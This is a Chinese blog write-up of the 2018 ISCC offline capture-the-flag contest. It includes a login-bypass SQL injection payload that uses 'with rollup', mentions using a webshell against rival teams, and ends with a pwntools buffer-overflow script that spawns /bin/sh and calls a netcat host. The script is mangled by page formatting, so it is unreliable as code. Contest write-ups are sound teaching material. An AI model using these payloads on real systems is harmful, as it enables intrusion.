Close

[ISCC] 2018ISCC线下赛 wp

ISCC 线下赛 wp

这次是我第一次参加线下赛不得不说成绩还算可以
抱着三等奖的心态参加,结果拿了二等奖
只做出一道web, 经验太少了,所有的flag都是手打的导致我们做完一道题就根本没心思做别的题目了,忙于手动刷分

re

这道题很奇怪,我的mac下载下来exe放到windows打不开,只能在windows下载下来,然后
关卡题目的re
先拖一个壳
然后按照密码分别输入1-14
出来的是

然后按照语义分析可以拼出flag -> ISCC{All_things_are_easy_before_they_are_difficult}
…这真的是逆向吗。

misc

这是道二维码的题目,不过我想起来那时候在安恒做到过这类的,二维码要求在两个大黑框之间必须有连续的黑白点,这样才行
逐帧分析gif,发现只有第62帧存在一个校正图形

 

 

,保存补上位置探测图形和定位图形

 

,扫描得到ISRDQzgxMDI=,base64解码得到!$CC8102

web

这次比赛其实实际做的就只有一道web题。。。

web1

进入之后
一个登陆界面
可以看到一个hint.txt在请求头中
然后访问一下有一部分的源码

他是查询到一个结果然后在去数据库中查找有没有这一行的密码
查询不到或者密码错误都是不行的
这样只能用sql的with rollup了,在表的最后一行加上一个null在查询的时候就不会为空了
等于1的话只要加上limit 1 就可以了

image

image

自己写了一个数据库试一下
然后就拿这个语句就可以了
ckj"^"0" group by pwd with rollup limit 1 offset 1
offset 1 是因为数据库里面只有一条

赛后主办说其实是希望我们把那个账号爆破出来的,其实在注册页面给了信息就是账号必须为iscc_ _后面加四个数字,也就10000种可能,然后我猜他的payload应该是 iscc_0000" group by pwd with rollup limit offset 1

其实 "ckj"^"0"也是为真的跟iscc_0000也差不多=。=
之后就会弹出一堆乱七八糟的-。-
那时候我们是先base64解了,然后再将加减全删了,就得到一个路径,那里就是我们最后的shell的目录,就可以打别人的私地了。

主办发说=。=那个是utf-7编码,怪我知识浅薄,不得不说中国蚁剑真的好用!flag一直显示错误就很难受

pwn

pwn是aris师傅做的,不得不说太强了,全场第一第二个做出来的,然后我们靠这个pwn刷了一天的分数

首先正常逻辑通过四道小关卡,然后发现第三关存在逻辑漏洞,可以使最后键入的值在key表之外,这样就可以进入隐藏关
隐藏关可以任意修改N结构体的一部分,观察到fini节区有gg函数,内包含任意地址执行,说明程序退出时可以连续调用多次任意地址执行
然后在main函数下方发现_nr函数可以修改任意地址写,就满足了getshell的两个条件。附上脚本

 

from pwn import * #context.log_level = ‘debug’ context.terminal = [‘gnome-terminal’,‘-x’,‘bash’,‘-c’] def z(a=): gdb.attach(cn,a) if a == : raw_input() cn = remote(‘192.168.31.82’,8000) #cn = process(‘./wTEdNnGnqZHQigN8.Pwn02’) cn.sendline(‘8584’) cn.sendline(‘[1, 1, 3, 5, 11, 21]’) cn.sendline(‘mappingstringsforfunandprofit{‘) cn.sendline(‘0 0 1 0 0 3 1 a’) sys = 0x080485A0 #z(‘set follow-fork-mode parent\nb*0x080487F7\nc’) buf = ‘aaaa’ + p32(0x08048CDA) cn.sendline(buf) buf = ‘bbbb’ + p32(sys) cn.sendline(buf) cn.sendline() cn.sendline() buf = ‘a’ * 0xfc + p32(0x0804B070) cn.sendline(buf) cn.sendline(‘/bin/sh\x00’) cn.recv() cn.sendline(‘nc 192.168.37.36 8000’) cn.sendline(‘8584’) cn.sendline(‘[1, 1, 3, 5, 11, 21]’) cn.sendline(‘mappingstringsforfunandprofit{‘) cn.sendline(‘0 0 1 0 0 3 1 a’) sys = 0x080485A0 #z(‘set follow-fork-mode parent\nb*0x080487F7\nc’) buf = ‘aaaa’ + p32(0x08048CDA) cn.sendline(buf) buf = ‘bbbb’ + p32(sys) cn.sendline(buf) cn.sendline() cn.sendline() buf = ‘a’ * 0xfc + p32(0x0804B070) cn.sendline(buf) cn.sendline(‘/bin/sh\x00’) cn.interactive()

Leave a Reply

Your email address will not be published. Required fields are marked *